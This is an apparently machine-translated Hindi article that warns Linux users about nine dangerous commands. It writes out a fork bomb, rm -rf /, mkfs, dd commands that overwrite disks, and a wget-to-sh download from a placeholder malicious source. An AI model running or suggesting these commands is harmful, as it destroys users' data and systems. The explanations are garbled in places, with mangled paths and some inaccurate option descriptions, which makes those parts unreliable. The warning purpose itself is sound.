9 लिनक्स कमांड और कोड सावधान रहने के लिए
लिनक्स शेल / टर्मिनल कमांड बहुत शक्तिशाली हैं और बस एक साधारण कमांड एक फ़ोल्डर, फ़ाइलों या रूट फ़ोल्डर, आदि को हटाने के लिए नेतृत्व कर सकता है.
कुछ मामलों में, लिनक्स आपसे पुष्टि करने के लिए भी नहीं कहेगा, बल्कि यह आपको तुरंत ही कमांड निष्पादित करेगा बहुमूल्य डेटा और जानकारी खो देते हैं इन फ़ाइलों और फ़ोल्डरों में संग्रहीत.
लोगों के लिए वेब पर सामग्री पोस्ट करना आम बात है इन आदेशों को निष्पादित करने के लिए नए लिनक्स उपयोगकर्ताओं की सिफारिश करना. यह किसी ऐसे व्यक्ति के लिए एक मजाक की तरह लग सकता है जिसने सामग्री पोस्ट की है लेकिन दूसरे छोर पर मौजूद व्यक्ति के लिए यह कोई हंसी की बात नहीं है.
हमने कुछ लिनक्स कमांड्स को इकट्ठा किया है जो आपके सिस्टम के लिए काफी हानिकारक हैं जो आपको उनसे बचने में मदद करते हैं। ध्यान रखें कि वे वास्तव में खतरनाक हैं और यहां तक कि नए आदेशों का उत्पादन करने के लिए विभिन्न तरीकों से भी बदला जा सकता है अधिक नुकसान पहुंचाना.
एक महत्वपूर्ण बात यह है कि ध्यान दें इनमें से कुछ कमांड केवल तभी खतरनाक होते हैं जब वे उबंटू पर सूडो के साथ उपसर्ग करते हैं. लिनक्स के अन्य वितरणों पर, इनमें से अधिकांश दिए गए कमांड रूट के रूप में निष्पादित करने के लिए खतरनाक होंगे.
देख लेना 9 आदेश और कोड आपको निष्पादित करने से बचना चाहिए.
1. लिनक्स फोर्क बम कमांड
: () : |: & ;:
के रूप में भी जाना जाता है कांटा बम लिनक्स सिस्टम के खिलाफ सेवा से वंचित है. : () : |: & ;:
एक बश फ़ंक्शन है। एक बार अंजाम दिया, यह कई बार खुद को दोहराता है जब तक कि सिस्टम जमा नहीं करता है.
आप केवल अपने सिस्टम को पुनरारंभ करके इससे छुटकारा पा सकते हैं। इसलिए अपने लिनक्स शेल पर इस कमांड को निष्पादित करते समय सावधान रहें.
2. एमवी फोल्डर / देव / नल कमांड
एमवी फ़ोल्डर / देव / अशक्त
एक और जोखिम भरा आदेश है. देव / बातिल
या अशक्त उपकरण
है एक डिवाइस फ़ाइल जो उस पर लिखे गए सभी डेटा को छोड़ देती है, लेकिन यह रिपोर्ट करती है कि लेखन ऑपरेशन सफलतापूर्वक निष्पादित किया गया है. इसे के रूप में भी जाना जाता है थोड़ा हिरन या ब्लैक होल.
3. rm -rf कमांड
rm -rf
कमांड एक तेज़ तरीका है एक फ़ोल्डर और उसकी सामग्री को हटा दें लिनक्स ऑपरेटिंग सिस्टम में। यदि आप नहीं जानते कि इसका सही उपयोग कैसे किया जाए तो यह सिस्टम के लिए बहुत खतरनाक हो सकता है। Rm-rf कमांड के साथ उपयोग किए जाने वाले सबसे आम संयोजन और विकल्प नीचे सूचीबद्ध हैं:
rm
लिनक्स सिस्टम में फाइलों को हटाने के लिए कमांड का उपयोग किया जाता है.rm -f
कमांड प्रॉम्प्ट के बिना केवल फ़ोल्डर में रीड-ओनली फाइलों को हटाता है.rm -r
कमांड किसी फ़ोल्डर की सामग्री को पुनरावर्ती रूप से हटा देता है.rm -d
कमांड का उपयोग किसी खाली निर्देशिका को निकालने के लिए किया जाता है, लेकिन यह खाली नहीं होने पर निर्देशिका को हटाने से इंकार कर देगा.rm -rf /
रूट डायरेक्टरी और सब फोल्डर में सभी कंटेंट को जबरन डिलीट करने के लिए कमांड का इस्तेमाल किया जाता है (इसे डिलीट कर दिया जाता है, भले ही वह संरक्षित हो).rm -rf *
कमांड का उपयोग वर्तमान निर्देशिका (आप वर्तमान में काम कर रहे हैं) और उप फ़ोल्डरों में सभी सामग्री को हटाने के लिए किया जाता है.rm -rf.
वर्तमान फ़ोल्डर और उप फ़ोल्डर्स में सभी सामग्री को जबरन हटाने के लिए कमांड का उपयोग किया जाता है।rm -r। [^]
कमांड का भी उपयोग किया जा सकता है.rm -i
फ़ाइलों और फ़ोल्डरों को हटाने के लिए कमांड का उपयोग किया जाता है लेकिन हटाने से पहले एक संकेत दिखाई देगा.
4. mkfs कमांड
एमकेऍफ़एस
यदि आप इसके उद्देश्य को नहीं जानते हैं तो यह आपके लिनक्स आधारित सिस्टम के लिए एक खतरनाक कमांड हो सकता है. Mkfs के बाद जो कुछ भी लिखा गया है, उसे स्वरूपित किया जाएगा और एक रिक्त लिनक्स फ़ाइल प्रणाली द्वारा प्रतिस्थापित किया जाएगा.
नीचे उल्लिखित सभी कमांड हार्ड ड्राइव को प्रारूपित करेंगे और इसके लिए प्रशासक के अधिकारों की आवश्यकता होगी:
एमकेऍफ़एस
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
आदेश mkfs.cramfs
उपरोक्त के रूप में एक ही काम करेंगे लेकिन इसे निष्पादित करने के लिए व्यवस्थापक अधिकारों की आवश्यकता नहीं है.
5. टार बम
टार
कमांड का उपयोग एक ही फाइल (संग्रहीत फ़ाइल) में कई फाइलों को संयोजित करने के लिए किया जाता है .टार प्रारूप। इस कमांड से एक टेप आर्काइव (टार) बम बनाया जा सकता है.
यह है एक पुरालेख फ़ाइल जो मौजूदा निर्देशिका में मौजूदा फ़ाइलों के समान नामों के साथ हजारों या लाखों फ़ाइलों में फट जाती है बजाय एक नई निर्देशिका में जब अप्रतिबंधित.
आप टार बम का शिकार बनने से बच सकते हैं जब भी आप एक टार फ़ाइल प्राप्त करते हैं तो नियमित रूप से एक नई सुरक्षात्मक निर्देशिका बनाते हैं और फिर इस डायरेक्टरी में प्राप्त टार फाइल को अनटिंगर करने से पहले ले जाना.
यदि टार फ़ाइल वास्तव में टार बम है तो आप इससे छुटकारा पाने के लिए नई बनाई गई निर्देशिका को हटा सकते हैं। टार बम के विस्फोट से बचने का एक और तरीका है -टी
एक विकल्प के सभी एक टार फ़ाइल की सामग्री को सूचीबद्ध करने के लिए आपको टार फ़ाइल के भीतर निहित सामग्री के प्रकार का अंदाज़ा लगाने के लिए.
6. dd कमांड
dd
कमांड का उपयोग किया जाता है हार्ड डिस्क विभाजन को कॉपी और परिवर्तित करें. हालांकि, यदि आप गलत गंतव्य निर्दिष्ट करते हैं, तो यह हानिकारक हो सकता है.
आदेश इनमें से कोई भी हो सकता है:
dd if = / dev / hda of = / dev / hdb
dd if = / dev / hda of = / dev / sdb
dd if = something of = / dev / hda
dd if = something of = / dev / sda
निम्न आदेश संपूर्ण प्राथमिक हार्ड ड्राइव को शून्य कर देगा: dd if = / dev / zero of = / dev / have था
7. शेल स्क्रिप्ट कोड
कोई आपका शिकार हो सकता है आपको एक शेल स्क्रिप्ट का लिंक दे रहा है और आपको इसे डाउनलोड करने और निष्पादित करने के लिए समर्थन करता है. स्क्रिप्ट में कुछ दुर्भावनापूर्ण या खतरनाक कोड हो सकते हैं। कमांड का प्रारूप इस तरह लग सकता है: wget http: // some_malicious_source -O- | श
. wget
स्क्रिप्ट डाउनलोड करेगा, जबकि sh स्क्रिप्ट निष्पादन को डाउनलोड करेगा.
8. दुर्भावनापूर्ण स्रोत कोड
कोई आपको स्रोत कोड देता है और आपसे इसे संकलन करने के लिए कहता है। कोड एक सामान्य कोड प्रतीत हो सकता है लेकिन वास्तव में कुछ दुर्भावनापूर्ण कोड बड़े स्रोत कोड में प्रच्छन्न है और यह आपके सिस्टम को नुकसान पहुंचा सकता है। इस तरह के हमले का शिकार होने से बचने के लिए, केवल भरोसेमंद स्रोतों से अपने स्रोत कोड को स्वीकार करें और संकलित करें.
9. अपघटन बम
आपको एक संपीड़ित फ़ाइल मिली है और आपको यह फ़ाइल निकालने के लिए कहा गया है, जो आकार में बहुत छोटी प्रतीत होती है, लेकिन कुछ KB हो सकती है। असल में, इस छोटे आकार की संपीड़ित फ़ाइल में बहुत अधिक संपीड़ित डेटा होता है.
एक बार फ़ाइल विघटित हो जाने पर, सैकड़ों GB डेटा निकाला जाता है अपनी हार्ड ड्राइव को भर सकता है अपने सिस्टम के प्रदर्शन को नीचे लाने के लिए। इस स्थिति से बचने के लिए, हमेशा भरोसेमंद स्रोतों से डेटा स्वीकार करना याद रखें.